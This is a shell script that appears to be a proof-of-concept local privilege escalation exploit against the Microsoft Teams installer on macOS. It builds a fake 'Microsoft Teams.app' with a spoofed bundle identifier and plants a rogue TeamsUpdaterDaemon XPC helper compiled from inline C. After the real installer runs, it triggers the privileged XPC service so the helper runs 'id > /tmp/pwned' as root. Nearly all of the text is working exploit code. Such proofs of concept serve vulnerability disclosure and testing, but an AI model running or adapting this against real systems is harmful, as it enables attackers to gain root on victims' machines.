ms-teams-localized.sh

#!/bin/sh

FAKE_APP="/tmp/Microsoft Teams.app"
APPS="/Applications/"

echo "[+] Preparing fake app..."
osacompile -o "${FAKE_APP}" -e 'do shell script "id > /tmp/pwned"'

echo "[+] Adjusting Info.plist..."
/usr/libexec/PlistBuddy -c "Add :CFBundleIdentifier string" "${FAKE_APP}/Contents/Info.plist"
/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.microsoft.teams.fake" "${FAKE_APP}/Contents/Info.plist"
/usr/libexec/PlistBuddy -c "Set :CFBundleName com.microsoft.teams" "${FAKE_APP}/Contents/Info.plist"
/usr/libexec/PlistBuddy -c "Add :CFBundleVersion string" "${FAKE_APP}/Contents/Info.plist"
/usr/libexec/PlistBuddy -c "Set :CFBundleVersion 1" "${FAKE_APP}/Contents/Info.plist"
/usr/libexec/PlistBuddy -c "Add :CFBundleShortVersionString string" "${FAKE_APP}/Contents/Info.plist"
/usr/libexec/PlistBuddy -c "Set :CFBundleShortVersionString 1" "${FAKE_APP}/Contents/Info.plist"

echo "[+] Copy fake app to /Applications/"
cp -r "${FAKE_APP}" "${APPS}"

echo "[+] Adding fake helper"
mkdir -p "${FAKE_APP}/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS"

echo "

#include <stdlib.h>

int main(){
    system(\"id > /private/tmp/pwned\");
    return 0;
}

" > /private/tmp/spawn_terminal.c
gcc -o "${FAKE_APP}//Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon" /private/tmp/spawn_terminal.c
rm /private/tmp/spawn_terminal.c

cat << EOF > /private/tmp/wakeup.m

#import <Foundation/Foundation.h>

@protocol DUMMY
- (void)ping;
@end

void wakeup_daemon_xpc(void) {
    NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.microsoft.teams.TeamsUpdaterDaemon" options:NSXPCConnectionPrivileged];
    connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(DUMMY)];
    [connection resume];
    [connection.remoteObjectProxy ping];
    printf("[+] XPC is done\n");
}

int main() {

	wakeup_daemon_xpc();

}

EOF

gcc -framework Foundation -o /private/tmp/wakeup /private/tmp/wakeup.m

echo "[+] Copy fake app to /Applications/"
cp -r "${FAKE_APP}" "${APPS}"

echo "[+] Install real Teams application"
read -p "Press any key when installer is done..."

#sudo installer -package Teams_osx.pkg -target / &

#echo "[+] Waiting 15s for the installer to finish"

#sleep 15

echo "[+] Trigger XPC"

/private/tmp/wakeup

sleep 2

echo "[+] cat contents of /tmp/pwned"

cat /tmp/pwned